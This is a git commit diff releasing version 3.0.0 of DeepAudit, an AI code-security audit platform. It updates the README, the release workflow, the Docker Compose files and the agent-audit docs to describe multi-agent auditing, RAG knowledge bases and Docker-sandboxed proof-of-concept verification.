feat: Release v3.0.0 with multi-agent architecture, RAG, and Docker sandbox vulnerability verification, alongside cleanup of old scripts and build artifacts.

2025-12-14 21:25:11 +08:00 · 2025-12-14 21:25:11 +08:00 · 39a57b9c58
parent fc3dce7510
commit 39a57b9c58
13 changed files with 616 additions and 301 deletions
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@ -6,7 +6,7 @@ on:
  workflow_dispatch:
    inputs:
      version:
-        description: '版本号 (例如: v2.0.0)'
+        description: '版本号 (例如: v3.0.0)'
        required: true
        type: string
      prerelease:
@ -112,7 +112,7 @@ jobs:
            --exclude=backend/uploads \
            backend/
          
-          # 打包 Docker 配置文件
+          # 打包 Docker 配置文件（包含 Agent 模式配置）
          tar -czf release/deepaudit-docker-${{ steps.version.outputs.VERSION }}.tar.gz \
            docker-compose.yml \
            backend/Dockerfile \
@ -121,7 +121,8 @@ jobs:
            frontend/.dockerignore \
            frontend/docker-entrypoint.sh \
            backend/env.example \
-            frontend/.env.example
+            frontend/.env.example \
+            docker/sandbox/
          
          # 打包完整源码（包括配置文件）
          tar -czf release/deepaudit-source-${{ steps.version.outputs.VERSION }}.tar.gz \
@ -157,12 +158,19 @@ jobs:
          
          echo "" >> CHANGELOG.md
          echo "" >> CHANGELOG.md
+          echo "## 🚀 v3.0.0 新特性" >> CHANGELOG.md
+          echo "" >> CHANGELOG.md
+          echo "- 🤖 **Multi-Agent 架构**: Orchestrator/Analysis/Recon/Verification 多智能体协作" >> CHANGELOG.md
+          echo "- 🧠 **RAG 知识库增强**: 代码语义理解 + CWE/CVE 漏洞知识库" >> CHANGELOG.md
+          echo "- 🔒 **沙箱漏洞验证**: Docker 安全容器自动执行 PoC" >> CHANGELOG.md
+          echo "- 🛠️ **专业安全工具集成**: Semgrep, Bandit, Gitleaks, OSV-Scanner" >> CHANGELOG.md
+          echo "" >> CHANGELOG.md
          echo "## 📦 下载说明" >> CHANGELOG.md
          echo "" >> CHANGELOG.md
          echo "### 构建产物" >> CHANGELOG.md
          echo "- \`deepaudit-frontend-*.tar.gz\`: 前端构建产物（用于生产部署）" >> CHANGELOG.md
          echo "- \`deepaudit-backend-*.tar.gz\`: 后端源码包" >> CHANGELOG.md
-          echo "- \`deepaudit-docker-*.tar.gz\`: Docker 配置文件" >> CHANGELOG.md
+          echo "- \`deepaudit-docker-*.tar.gz\`: Docker 配置文件（包含沙箱配置）" >> CHANGELOG.md
          echo "- \`deepaudit-source-*.tar.gz\`: 完整源码包" >> CHANGELOG.md
          echo "- \`checksums.txt\`: 文件校验和" >> CHANGELOG.md
          echo "" >> CHANGELOG.md
@ -172,8 +180,11 @@ jobs:
          echo "" >> CHANGELOG.md
          echo "### 快速部署" >> CHANGELOG.md
          echo "\`\`\`bash" >> CHANGELOG.md
-          echo "# 使用 Docker Compose 部署" >> CHANGELOG.md
-          echo "docker-compose up -d" >> CHANGELOG.md
+          echo "# 基础部署" >> CHANGELOG.md
+          echo "docker compose up -d" >> CHANGELOG.md
+          echo "" >> CHANGELOG.md
+          echo "# Agent 模式部署（包含 Milvus 向量数据库）" >> CHANGELOG.md
+          echo "docker compose --profile agent up -d" >> CHANGELOG.md
          echo "\`\`\`" >> CHANGELOG.md
      
      # 12. 创建 GitHub Release
@ -235,7 +246,21 @@ jobs:
          cache-from: type=gha,scope=backend
          cache-to: type=gha,mode=max,scope=backend
      
-      # 18. 更新 README 中的版本号
+      # 18. 构建并推送沙箱 Docker 镜像
+      - name: 构建并推送沙箱 Docker 镜像
+        uses: docker/build-push-action@v5
+        with:
+          context: ./docker/sandbox
+          file: ./docker/sandbox/Dockerfile
+          push: true
+          platforms: linux/amd64,linux/arm64
+          tags: |
+            ghcr.io/${{ github.repository_owner }}/deepaudit-sandbox:${{ steps.version.outputs.VERSION }}
+            ghcr.io/${{ github.repository_owner }}/deepaudit-sandbox:latest
+          cache-from: type=gha,scope=sandbox
+          cache-to: type=gha,mode=max,scope=sandbox
+      
+      # 19. 更新 README 中的版本号
      - name: 更新 README 版本号
        if: github.event_name == 'push'
        run: |
--- a/.gitignore
+++ b/.gitignore
@ -168,3 +168,25 @@ Thumbs.db
 *.crt
 secrets/
 .secrets/
+
+# Agent checkpoints and data
+agent_checkpoints/
+data/
+*.checkpoint
+
+# Scan result files (temporary)
+bandit_results.json
+semgrep_results.json
+gitleaks_results.json
+trufflehog_results.json
+
+# Test files
+ttt/
+examples/
+
+# Milvus data
+milvus_data/
+
+# ChromaDB data
+chroma/
+
--- a/README.md
+++ b/README.md
@ -1,6 +1,4 @@
-# DeepAudit - 您的智能代码审计专家 🦸‍♂️
-
-> 多Agent、PR批量自动审计版本正在开发中，敬请期待......
+# DeepAudit - AI 驱动的智能代码安全审计平台 🛡️

 <div style="width: 100%; max-width: 600px; margin: 0 auto;">
  <img src="frontend/public/images/logo.png" alt="DeepAudit Logo" style="width: 100%; height: auto; display: block; margin: 0 auto;">
@ -8,7 +6,7 @@

 <div align="center">

-[![Version](https://img.shields.io/badge/version-2.0.0--beta.7-blue.svg)](https://github.com/lintsinghua/DeepAudit/releases)
+[![Version](https://img.shields.io/badge/version-3.0.0-blue.svg)](https://github.com/lintsinghua/DeepAudit/releases)
 [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
 [![React](https://img.shields.io/badge/React-18-61dafb.svg)](https://reactjs.org/)
 [![TypeScript](https://img.shields.io/badge/TypeScript-5.7-3178c6.svg)](https://www.typescriptlang.org/)
@ -21,33 +19,44 @@

 </div>

+## 🚀 v3.0.0 新特性
+
+**DeepAudit v3.0.0** 带来了革命性的 **Multi-Agent 智能审计系统**：
+
+- 🤖 **Multi-Agent 架构** — Orchestrator 编排决策，Analysis/Recon/Verification 多智能体协作
+- 🧠 **RAG 知识库增强** — 代码语义理解 + CWE/CVE 漏洞知识库，精准识别安全风险
+- 🔒 **沙箱漏洞验证** — Docker 安全容器自动执行 PoC，验证漏洞真实有效性
+- 🛠️ **专业安全工具集成** — Semgrep、Bandit、Gitleaks、TruffleHog、OSV-Scanner
+
+---
+
 ## 💡 这是什么？

 **你是否也有这样的困扰？**

 - 😫 人工审计的无力：哪怕我不吃不睡，也追不上代码迭代的速度
 - 🤯 传统工具的噪音：每天都在清理误报，感觉自己像个垃圾分类员
- 😰 代码隐私的风险：想用 AI 却不敢“裸奔”，生怕源码泄露给云端 
+- 😰 代码隐私的风险：想用 AI 却不敢"裸奔"，生怕源码泄露给云端 
 - 🥺 外包项目的隐患：不知道里面藏了多少雷，却不得不签字验收

 **DeepAudit 来拯救你！** 🦸‍♂️

- 全自动智能审计：AI 不知疲倦地自动审计，让审计速度跑赢开发节奏
- 上下文精准理解：告别死板的正则匹配，用大模型读懂代码业务逻辑，大大降低误报率
- 支持本地私有部署：支持本地模型运行，代码数据可以不出内网，彻底根除“裸奔”焦虑
- 深层隐患排查：一键扫描第三方外包项目、交付项目，快速揪出隐藏后门与逻辑炸弹，让签字验收有底气
+- 全自动智能审计：AI 驱动的 Multi-Agent 系统自主编排审计策略
+- 上下文精准理解：RAG 增强的代码语义理解，大大降低误报率
+- 沙箱验证漏洞：自动生成 PoC 并在隔离环境验证，确保漏洞真实有效
+- 支持本地私有部署：支持 Ollama 本地模型，代码数据可以不出内网

-## 🎬 眼见为实，但不仅如此：
+## 🎬 眼见为实：

 | 智能仪表盘 | 即时分析 |
 |:---:|:---:|
 | ![仪表盘](frontend/public/images/example1.png) | ![即时分析](frontend/public/images/example2.png) |
 | *一眼掌握项目安全态势* | *粘贴代码/上传文件，秒出结果* |

-| 项目管理 | 审计报告 |
+| Agent 审计 | 审计报告 |
 |:---:|:---:|
-| <img src="frontend/public/images/example3.png" alt="项目管理" width="400"> | <img src="frontend/public/images/审计报告示例.png" alt="审计报告" width="400"> |
-| *GitHub/GitLab 无缝集成* | *专业报告，一键导出* |
+| <img src="frontend/public/images/example3.png" alt="Agent审计" width="400"> | <img src="frontend/public/images/审计报告示例.png" alt="审计报告" width="400"> |
+| *Multi-Agent 深度安全分析* | *专业报告，一键导出* |

 | 审计规则管理 | 提示词模板管理 |
 |:---:|:---:|
@ -60,34 +69,47 @@
 <tr>
 <td width="50%">

-### 🧠 真正理解你的代码
-不是简单的关键词匹配，而是深度理解代码逻辑和业务意图，像人类专家一样思考。
+### 🤖 Multi-Agent 智能协作
+- **Orchestrator Agent**: 统筹编排，自主决策审计策略
+- **Recon Agent**: 信息收集，识别技术栈和入口点
+- **Analysis Agent**: 深度分析，挖掘潜在安全漏洞
+- **Verification Agent**: 沙箱验证，确认漏洞真实有效
+
+### 🧠 RAG 知识库增强
+- 代码语义理解，不只是关键词匹配
+- CWE/CVE 漏洞知识库集成
+- 精准漏洞识别，大幅降低误报

 ### 🎯 What-Why-How 三步修复
 - **What**: 精准定位问题所在
 - **Why**: 解释为什么这是个问题
 - **How**: 给出可直接使用的修复建议

-### 🔌 10+ LLM 平台任你选
-OpenAI、Claude、Gemini、通义千问、DeepSeek、智谱AI... 想用哪个用哪个，还支持 Ollama 本地部署！
-
 </td>
 <td width="50%">

-### ⚡ 5 分钟快速上手
-Docker 一键部署，浏览器配置 API Key，无需复杂环境搭建。
+### 🔒 沙箱安全验证
+- Docker 隔离容器执行 PoC
+- 资源限制 + 网络隔离 + seccomp 策略
+- 自动验证漏洞可利用性

-### 🔒 代码隐私有保障
-支持 Ollama 本地模型，敏感代码不出内网，安全合规无忧。
+### 🛠️ 专业安全工具集成
+- **Semgrep**: 多语言静态分析
+- **Bandit**: Python 安全扫描
+- **Gitleaks/TruffleHog**: 密钥泄露检测
+- **OSV-Scanner**: 依赖漏洞扫描

-### 📊 专业报告一键导出
-JSON、PDF 格式随心选，审计报告直接交付，省去整理时间。
+### 🔌 10+ LLM 平台任你选
+OpenAI、Claude、Gemini、通义千问、DeepSeek、智谱AI...
+还支持 Ollama 本地私有化部署！

 </td>
 </tr>
 </table>

-## 🚀 3 步开始你的智能审计之旅
+## 🚀 快速开始
+
+### Docker Compose 一键部署（推荐）

 ```bash
 # 1️⃣ 克隆项目
@ -98,14 +120,26 @@ cp backend/env.example backend/.env
 # 编辑 backend/.env，填入你的 API Key

 # 3️⃣ 一键启动！
-docker-compose up -d
+docker compose up -d
 ```

 🎉 **搞定！** 打开 http://localhost:3000 开始体验吧！

+### Agent 审计模式部署（可选）
+
+如需使用 Multi-Agent 深度审计功能：
+
+```bash
+# 启动包含 Milvus 向量数据库的完整服务
+docker compose --profile agent up -d
+
+# 构建安全沙箱镜像（用于漏洞验证）
+cd docker/sandbox && ./build.sh
+```
+
 ### 演示账户

-系统内置演示账户，包含示例项目和审计数据，可直接体验完整功能：
+系统内置演示账户，包含示例项目和审计数据：

 - 📧 邮箱：`demo@example.com`
 - 🔑 密码：`demo123`
@ -118,12 +152,15 @@ docker-compose up -d

 | 功能 | 说明 |
 |------|------|
+| 🤖 **Agent 审计** | Multi-Agent 架构，Orchestrator 自主编排决策，深度漏洞挖掘 |
+| 🧠 **RAG 增强** | 代码语义理解，CWE/CVE 知识库检索，精准漏洞识别 |
+| 🔒 **沙箱验证** | Docker 安全容器执行 PoC，自动验证漏洞有效性 |
 | 🗂️ **项目管理** | GitHub/GitLab 一键导入，ZIP 上传，支持 10+ 编程语言 |
 | ⚡ **即时分析** | 代码片段秒级分析，粘贴即用，无需创建项目 |
 | 🔍 **智能审计** | Bug、安全、性能、风格、可维护性五维检测 |
 | 💡 **可解释分析** | What-Why-How 模式，精准定位 + 修复建议 |
-| 📋 **审计规则** | 内置 OWASP Top 10、代码质量、性能优化规则集，支持自定义 |
-| 📝 **提示词模板** | 可视化管理审计提示词，支持中英文双语，在线测试 |
+| 📋 **审计规则** | 内置 OWASP Top 10、代码质量、性能优化规则集 |
+| 📝 **提示词模板** | 可视化管理审计提示词，支持中英文双语 |
 | 📊 **可视化报告** | 质量仪表盘、趋势分析、PDF/JSON 一键导出 |
 | ⚙️ **灵活配置** | 浏览器运行时配置 LLM，无需重启服务 |

@ -141,15 +178,22 @@ docker-compose up -d

 ## 🎯 未来蓝图

-这个项目目前还比较初级，很多地方做得不够好，我们一直在努力改进！接下来才是我们真正想做的事情！
+### ✅ 已完成

- **接入 CI/CD** — 让它能跑在 GitHub/GitLab 流水线里，提 PR 的时候自动帮你批量审代码
- **RAG 知识库** — 把 CWE/CVE 这些漏洞库喂给模型，让它真正懂安全，不再瞎报一通
- **多 Agent 协作** — 多智能体架构，模拟真实的安全团队工作流程
- **自动生成补丁** — 光说哪里有问题不够，还得能自动生成能用的修复代码
- **混合分析** — AI 分析完再用传统 SAST 工具验证一遍，两边互相补充，减少误报漏报
- **跨文件分析** — 做代码知识图谱，理解模块间的调用关系
- **多仓库支持** — 除Github/GitLab以外，更新支持Gitea等更多平台以及自建仓库
+- ✅ **RAG 知识库** — 代码语义理解 + CWE/CVE 漏洞知识库集成
+- ✅ **多 Agent 协作** — Orchestrator/Analysis/Recon/Verification 多智能体架构
+- ✅ **沙箱验证** — Docker 安全容器自动执行 PoC 验证
+
+### 🚧 开发中
+
+- 🔄 **CI/CD 集成** — GitHub/GitLab 流水线自动审计，PR 批量扫描
+- 🔄 **自动生成补丁** — 基于漏洞分析自动生成修复代码
+- 🔄 **跨文件分析** — 代码知识图谱，理解模块间调用关系
+
+### 📋 计划中
+
+- 📋 **混合分析** — AI 分析 + 传统 SAST 工具验证，减少误报漏报
+- 📋 **多仓库支持** — Gitea、Bitbucket 等更多平台支持

 💡 **您的 Star 和反馈是我们前进的最大动力！有任何想法欢迎提 Issue 一起讨论~**

@ -158,7 +202,8 @@ docker-compose up -d
 | 文档 | 说明 |
 |------|------|
 | [部署指南](docs/DEPLOYMENT.md) | Docker 部署 / 本地开发环境搭建 |
-| [配置说明](docs/CONFIGURATION.md) | 后端配置、审计规则、提示词模板、API 中转站 |
+| [Agent 审计](docs/AGENT_AUDIT.md) | Multi-Agent 审计模块详解 |
+| [配置说明](docs/CONFIGURATION.md) | 后端配置、审计规则、提示词模板 |
 | [LLM 平台支持](docs/LLM_PROVIDERS.md) | 各家 LLM 的配置方法和 API Key 获取 |
 | [常见问题](docs/FAQ.md) | 遇到问题先看这里 |
 | [更新日志](CHANGELOG.md) | 版本更新记录 |
--- a/backend/env.example
+++ b/backend/env.example
@ -1,5 +1,5 @@
 # =============================================
-# DeepAudit Backend 配置文件
+# DeepAudit v3.0.0 Backend 配置文件
 # =============================================
 # 复制此文件为 .env 并填入实际配置
 # 详细说明请参阅 docs/CONFIGURATION.md
@ -105,6 +105,70 @@ LLM_MAX_TOKENS=4096
 # Ollama 本地模型
 # OLLAMA_BASE_URL=http://localhost:11434/v1

+# =============================================
+# Agent 审计配置 (Multi-Agent v3.0.0 新增)
+# =============================================
+# Agent 审计开关（开启后可使用 Multi-Agent 深度审计功能）
+AGENT_ENABLED=true
+
+# Agent 最大迭代次数
+AGENT_MAX_ITERATIONS=5
+
+# Agent 单次审计超时时间（秒）
+AGENT_TIMEOUT=1800
+
+# =============================================
+# 嵌入模型配置（RAG 功能，独立于主 LLM）
+# =============================================
+# 嵌入模型 provider: openai, ollama, cohere, huggingface
+EMBEDDING_PROVIDER=openai
+
+# 嵌入模型名称
+# OpenAI: text-embedding-3-small, text-embedding-3-large, text-embedding-ada-002
+# Ollama: nomic-embed-text, mxbai-embed-large
+EMBEDDING_MODEL=text-embedding-3-small
+
+# 嵌入模型 API Key（留空则使用 LLM_API_KEY）
+EMBEDDING_API_KEY=
+
+# 嵌入模型 Base URL（留空则使用默认值）
+EMBEDDING_BASE_URL=
+
+# =============================================
+# 向量数据库配置（RAG 功能）
+# =============================================
+# 向量数据库类型: milvus, chroma
+VECTOR_DB_TYPE=chroma
+
+# ChromaDB 配置（本地模式）
+CHROMA_PERSIST_DIRECTORY=./data/chroma
+
+# Milvus 配置（Agent 模式推荐）
+# Docker Compose --profile agent 启动时使用 milvus 作为 host
+MILVUS_HOST=localhost
+MILVUS_PORT=19530
+
+# =============================================
+# 沙箱配置（漏洞验证）
+# =============================================
+# 沙箱功能开关
+SANDBOX_ENABLED=true
+
+# 沙箱 Docker 镜像（需要提前构建: cd docker/sandbox && ./build.sh）
+SANDBOX_IMAGE=deepaudit-sandbox:latest
+
+# 沙箱内存限制
+SANDBOX_MEMORY_LIMIT=512m
+
+# 沙箱 CPU 限制（核心数）
+SANDBOX_CPU_LIMIT=1.0
+
+# 是否禁用沙箱网络（安全建议开启）
+SANDBOX_NETWORK_DISABLED=true
+
+# 沙箱执行超时时间（秒）
+SANDBOX_TIMEOUT=30
+
 # =============================================
 # Git 仓库配置
 # =============================================
--- a/bandit_results.json
+++ b/bandit_results.json
--- a/check_imports.py
+++ b/check_imports.py
@ -1,16 +0,0 @@
-
-try:
-    import docker
-    client = docker.from_env()
-    client.ping()
-    print("Docker is available and connected")
-except Exception as e:
-    print(f"Docker connection failed: {e}")
-
-try:
-    from app.services.agent.tools.sandbox_tool import SandboxConfig, SandboxManager, SandboxTool  # pyright: ignore[reportMissingImports]
-    print("Sandbox modules imported successfully")
-except ImportError as e:
-    print(f"Sandbox import failed: {e}")
-except Exception as e:
-    print(f"Sandbox import error: {e}")
--- a/docker-compose.yml
+++ b/docker-compose.yml
@ -1,4 +1,14 @@
+# =============================================
+# DeepAudit v3.0.0 Docker Compose 配置
+# =============================================
+# 基础部署: docker compose up -d
+# Agent 模式: docker compose --profile agent up -d
+
 services:
+  # =============================================
+  # 核心服务
+  # =============================================
+  
  db:
    image: postgres:15-alpine
    volumes:
@ -47,6 +57,90 @@ services:
    networks:
      - deepaudit-network

+  # =============================================
+  # Agent 审计模式服务 (可选)
+  # 使用 --profile agent 启用
+  # =============================================
+  
+  # Milvus 向量数据库 (用于 RAG 功能)
+  milvus-etcd:
+    image: quay.io/coreos/etcd:v3.5.5
+    profiles: ["agent"]
+    environment:
+      - ETCD_AUTO_COMPACTION_MODE=revision
+      - ETCD_AUTO_COMPACTION_RETENTION=1000
+      - ETCD_QUOTA_BACKEND_BYTES=4294967296
+      - ETCD_SNAPSHOT_COUNT=50000
+    volumes:
+      - milvus_etcd:/etcd
+    command: etcd -advertise-client-urls=http://127.0.0.1:2379 -listen-client-urls http://0.0.0.0:2379 --data-dir /etcd
+    healthcheck:
+      test: ["CMD", "etcdctl", "endpoint", "health"]
+      interval: 30s
+      timeout: 20s
+      retries: 3
+    networks:
+      - deepaudit-network
+
+  milvus-minio:
+    image: minio/minio:RELEASE.2023-03-20T20-16-18Z
+    profiles: ["agent"]
+    environment:
+      MINIO_ACCESS_KEY: minioadmin
+      MINIO_SECRET_KEY: minioadmin
+    volumes:
+      - milvus_minio:/minio_data
+    command: minio server /minio_data --console-address ":9001"
+    healthcheck:
+      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
+      interval: 30s
+      timeout: 20s
+      retries: 3
+    networks:
+      - deepaudit-network
+
+  milvus:
+    image: milvusdb/milvus:v2.4-latest
+    profiles: ["agent"]
+    command: ["milvus", "run", "standalone"]
+    security_opt:
+      - seccomp:unconfined
+    environment:
+      ETCD_ENDPOINTS: milvus-etcd:2379
+      MINIO_ADDRESS: milvus-minio:9000
+    volumes:
+      - milvus_data:/var/lib/milvus
+    ports:
+      - "19530:19530"
+      - "9091:9091"
+    depends_on:
+      - milvus-etcd
+      - milvus-minio
+    healthcheck:
+      test: ["CMD", "curl", "-f", "http://localhost:9091/healthz"]
+      interval: 30s
+      start_period: 90s
+      timeout: 20s
+      retries: 3
+    networks:
+      - deepaudit-network
+
+  # Redis (用于任务队列，可选)
+  redis:
+    image: redis:7-alpine
+    profiles: ["agent"]
+    ports:
+      - "6379:6379"
+    volumes:
+      - redis_data:/data
+    healthcheck:
+      test: ["CMD", "redis-cli", "ping"]
+      interval: 10s
+      timeout: 5s
+      retries: 5
+    networks:
+      - deepaudit-network
+
 networks:
  deepaudit-network:
    driver: bridge
@ -54,3 +148,7 @@ networks:
 volumes:
  postgres_data:
  backend_uploads:
+  milvus_etcd:
+  milvus_minio:
+  milvus_data:
+  redis_data:
--- a/docs/AGENT_AUDIT.md
+++ b/docs/AGENT_AUDIT.md
@ -1,83 +1,109 @@
-# DeepAudit Agent 审计模块
+# DeepAudit Agent 审计模块 v3.0.0

 ## 概述

-Agent 审计模块是 DeepAudit 的高级安全审计功能，基于 **LangGraph** 状态图构建的混合 AI Agent 架构，实现自主代码安全分析和漏洞验证。
+Agent 审计模块是 DeepAudit v3.0.0 的核心功能，基于 **Multi-Agent 架构** 实现自主代码安全分析和漏洞验证。

-## LangGraph 工作流架构
+### 核心特性
+
+- 🤖 **Multi-Agent 协作**: Orchestrator 编排决策，多智能体协作审计
+- 🧠 **RAG 知识库增强**: 代码语义理解 + CWE/CVE 漏洞知识库
+- 🔒 **沙箱漏洞验证**: Docker 安全容器自动执行 PoC
+- 🛠️ **专业工具集成**: Semgrep、Bandit、Gitleaks、OSV-Scanner 等
+
+---
+
+## 架构设计
+
+### Multi-Agent 工作流

 ```
 ┌─────────────────────────────────────────────────────────────────────┐
-│                     LangGraph 审计工作流                             │
+│                     DeepAudit Agent 审计工作流                        │
 ├─────────────────────────────────────────────────────────────────────┤
 │                                                                     │
 │    START                                                            │
 │      │                                                              │
 │      ▼                                                              │
-│  ┌────────────────────────────────────────────────────────────────┐│
-│  │                     Recon Node (信息收集)                       ││
-│  │  • 项目结构分析          • 技术栈识别                          ││
-│  │  • 入口点发现            • 依赖扫描                            ││
-│  │                                                                ││
-│  │  使用工具: list_files, npm_audit, safety_scan, gitleaks_scan   ││
-│  └────────────────────────────┬───────────────────────────────────┘│
-│                               │                                    │
-│                               ▼                                    │
-│  ┌────────────────────────────────────────────────────────────────┐│
-│  │                    Analysis Node (漏洞分析)                     ││
-│  │  • Semgrep 静态分析      • RAG 语义搜索                        ││
-│  │  • 模式匹配              • LLM 深度分析                        ││
-│  │  • 数据流追踪                                                  ││
-│  │                                                  ◄─────┐       ││
-│  │  使用工具: semgrep_scan, bandit_scan, rag_query,      │       ││
-│  │            code_analysis, pattern_match               │       ││
-│  └────────────────────────────┬──────────────────────────┘───────┘│
-│                               │                          │        │
-│                               ▼                          │        │
-│  ┌────────────────────────────────────────────────────────────────┐│
-│  │                  Verification Node (漏洞验证)                   ││
-│  │  • LLM 漏洞验证          • 沙箱测试                            ││
-│  │  • PoC 生成              • 误报过滤                            ││
-│  │                                               ────────┘        ││
-│  │  使用工具: vulnerability_validation, sandbox_exec,             ││
-│  │            verify_vulnerability                                ││
-│  └────────────────────────────┬───────────────────────────────────┘│
-│                               │                                    │
-│                               ▼                                    │
-│  ┌────────────────────────────────────────────────────────────────┐│
-│  │                     Report Node (报告生成)                      ││
-│  │  • 漏洞汇总              • 安全评分                            ││
-│  │  • 修复建议              • 统计分析                            ││
-│  └────────────────────────────┬───────────────────────────────────┘│
-│                               │                                    │
-│                               ▼                                    │
-│                              END                                   │
-│                                                                    │
-└────────────────────────────────────────────────────────────────────┘
-
-状态流转:
-  • Recon → Analysis: 收集到入口点后进入分析
-  • Analysis → Analysis: 发现较多问题时继续迭代
-  • Analysis → Verification: 有发现时进入验证
-  • Verification → Analysis: 误报率高时回溯分析
-  • Verification → Report: 验证完成后生成报告
+│  ┌────────────────────────────────────────────────────────────────┐ │
+│  │               Orchestrator Agent (编排决策)                      │ │
+│  │  • 分析审计目标          • 制定审计策略                          │ │
+│  │  • 分配子任务            • 汇总审计结果                          │ │
+│  └────────────────────────────┬───────────────────────────────────┘ │
+│                               │                                     │
+│              ┌────────────────┼────────────────┐                    │
+│              ▼                ▼                ▼                    │
+│  ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐    │
+│  │   Recon Agent    │ │  Analysis Agent  │ │Verification Agent│    │
+│  │  (信息收集)      │ │  (漏洞分析)      │ │  (漏洞验证)      │    │
+│  │                  │ │                  │ │                  │    │
+│  │ • 项目结构分析   │ │ • Semgrep 扫描   │ │ • 沙箱测试      │    │
+│  │ • 技术栈识别     │ │ • RAG 语义搜索   │ │ • PoC 生成      │    │
+│  │ • 入口点发现     │ │ • LLM 深度分析   │ │ • 误报过滤      │    │
+│  │ • 依赖扫描       │ │ • 数据流追踪     │ │ • 置信度评估    │    │
+│  └────────┬─────────┘ └────────┬─────────┘ └────────┬─────────┘    │
+│           │                    │                    │               │
+│           └────────────────────┴────────────────────┘               │
+│                               │                                     │
+│                               ▼                                     │
+│  ┌────────────────────────────────────────────────────────────────┐ │
+│  │                     Report Generation                           │ │
+│  │  • 漏洞汇总              • 安全评分                            │ │
+│  │  • 修复建议              • 统计分析                            │ │
+│  └────────────────────────────┬───────────────────────────────────┘ │
+│                               │                                     │
+│                               ▼                                     │
+│                              END                                    │
+│                                                                     │
+└─────────────────────────────────────────────────────────────────────┘
 ```

-## 核心特性
+### Agent 职责

-### 1. LangGraph 状态图
+| Agent | 职责 | 使用工具 |
+|-------|------|----------|
+| **Orchestrator** | 统筹编排，自主决策审计策略 | 任务分配、结果汇总 |
+| **Recon** | 信息收集，识别技术栈和入口点 | list_files, npm_audit, safety_scan, gitleaks |
+| **Analysis** | 深度分析，挖掘潜在安全漏洞 | semgrep, bandit, rag_query, code_analysis |
+| **Verification** | 沙箱验证，确认漏洞真实有效 | sandbox_exec, vulnerability_validation |

- **声明式工作流**: 使用图结构定义 Agent 协作流程
- **状态自动合并**: `Annotated[List, operator.add]` 实现发现累加
- **条件路由**: 基于状态动态决定下一步
- **检查点恢复**: 支持任务中断后继续
+---

-### 2. Agent 工具集
+## 快速开始

-#### 内置工具
+### 1. 部署 Agent 模式

-| 工具 | 功能 | 节点 |
-|------|------|------|
+```bash
+# 配置环境变量
+cp backend/env.example backend/.env
+# 编辑 .env，设置 AGENT_ENABLED=true
+
+# 启动包含 Milvus 的完整服务
+docker compose --profile agent up -d
+```
+
+### 2. 构建沙箱镜像
+
+```bash
+cd docker/sandbox
+./build.sh
+```
+
+### 3. 使用 Agent 审计
+
+1. 在项目详情页点击 "Agent 审计"
+2. 选择目标漏洞类型
+3. 可选：上传知识库文件增强检测
+4. 启动审计，实时查看 Agent 执行日志
+
+---
+
+## 工具集
+
+### 内置工具
+
+| 工具 | 功能 | Agent |
+|------|------|-------|
 | `list_files` | 目录浏览 | Recon |
 | `read_file` | 文件读取 | All |
 | `search_code` | 代码搜索 | Analysis |
@ -91,7 +117,7 @@ Agent 审计模块是 DeepAudit 的高级安全审计功能，基于 **LangGraph
 | `sandbox_exec` | 沙箱执行 | Verification |
 | `verify_vulnerability` | 自动验证 | Verification |

-#### 外部安全工具
+### 外部安全工具

 | 工具 | 功能 | 适用场景 |
 |------|------|----------|
@ -103,93 +129,60 @@ Agent 审计模块是 DeepAudit 的高级安全审计功能，基于 **LangGraph
 | `safety_scan` | Safety Python 审计 | Python 依赖漏洞 |
 | `osv_scan` | OSV 漏洞扫描 | 多语言依赖漏洞 |

-### 3. RAG 系统
+---
+
+## RAG 系统
+
+### 功能特点

 - **代码分块**: 基于 Tree-sitter AST 的智能分块
- **向量存储**: ChromaDB 持久化
+- **向量存储**: Milvus 或 ChromaDB 持久化
 - **多语言支持**: Python, JavaScript, TypeScript, Java, Go, PHP, Rust 等
- **嵌入模型**: 独立配置，支持 OpenAI、Ollama、Cohere、HuggingFace
+- **知识库增强**: 支持上传自定义漏洞知识库

-### 4. 安全沙箱
+### 配置

- **Docker 隔离**: 安全容器执行
+```env
+# 嵌入模型配置
+EMBEDDING_PROVIDER=openai
+EMBEDDING_MODEL=text-embedding-3-small
+
+# 向量数据库配置
+VECTOR_DB_TYPE=milvus
+MILVUS_HOST=milvus
+MILVUS_PORT=19530
+```
+
+---
+
+## 安全沙箱
+
+### 功能特点
+
+- **Docker 隔离**: 安全容器执行 PoC
 - **资源限制**: 内存、CPU 限制
 - **网络隔离**: 可配置网络访问
 - **seccomp 策略**: 系统调用白名单

-## 配置
+### 配置

-### 环境变量
-
-```bash
-# LLM 配置
-DEFAULT_LLM_MODEL=gpt-4-turbo-preview
-LLM_API_KEY=your-api-key
-LLM_BASE_URL=https://api.openai.com/v1
-
-# 嵌入模型配置（独立于 LLM）
-EMBEDDING_PROVIDER=openai
-EMBEDDING_MODEL=text-embedding-3-small
-
-# 向量数据库
-VECTOR_DB_PATH=./data/vectordb
-
-# 沙箱配置
+```env
+SANDBOX_ENABLED=true
 SANDBOX_IMAGE=deepaudit-sandbox:latest
 SANDBOX_MEMORY_LIMIT=512m
 SANDBOX_CPU_LIMIT=1.0
 SANDBOX_NETWORK_DISABLED=true
 ```

-### Agent 任务配置
+### 沙箱镜像内置工具

-```json
-{
-  "target_vulnerabilities": [
-    "sql_injection",
-    "xss", 
-    "command_injection",
-    "path_traversal",
-    "ssrf"
-  ],
-  "verification_level": "sandbox",
-  "exclude_patterns": ["node_modules", "__pycache__", ".git"],
-  "max_iterations": 3,
-  "timeout_seconds": 1800
-}
-```
+- Python 3.11 + Semgrep, Bandit, Safety
+- Node.js 20 + npm audit
+- Go 1.21 + OSV-Scanner
+- Rust + cargo-audit
+- Gitleaks, TruffleHog

-## 部署
-
-### 1. 安装依赖
-
-```bash
-cd backend
-pip install -r requirements.txt
-
-# 可选：安装外部工具
-pip install semgrep bandit safety
-brew install gitleaks trufflehog osv-scanner  # macOS
-```
-
-### 2. 构建沙箱镜像
-
-```bash
-cd docker/sandbox
-./build.sh
-```
-
-### 3. 数据库迁移
-
-```bash
-alembic upgrade head
-```
-
-### 4. 启动服务
-
-```bash
-uvicorn app.main:app --host 0.0.0.0 --port 8000
-```
+---

 ## API 接口

@ -227,6 +220,14 @@ GET /api/v1/agent-tasks/{task_id}/findings?verified_only=true
 GET /api/v1/agent-tasks/{task_id}/summary
 ```

+### 导出报告
+
+```http
+GET /api/v1/agent-tasks/{task_id}/report?format=markdown
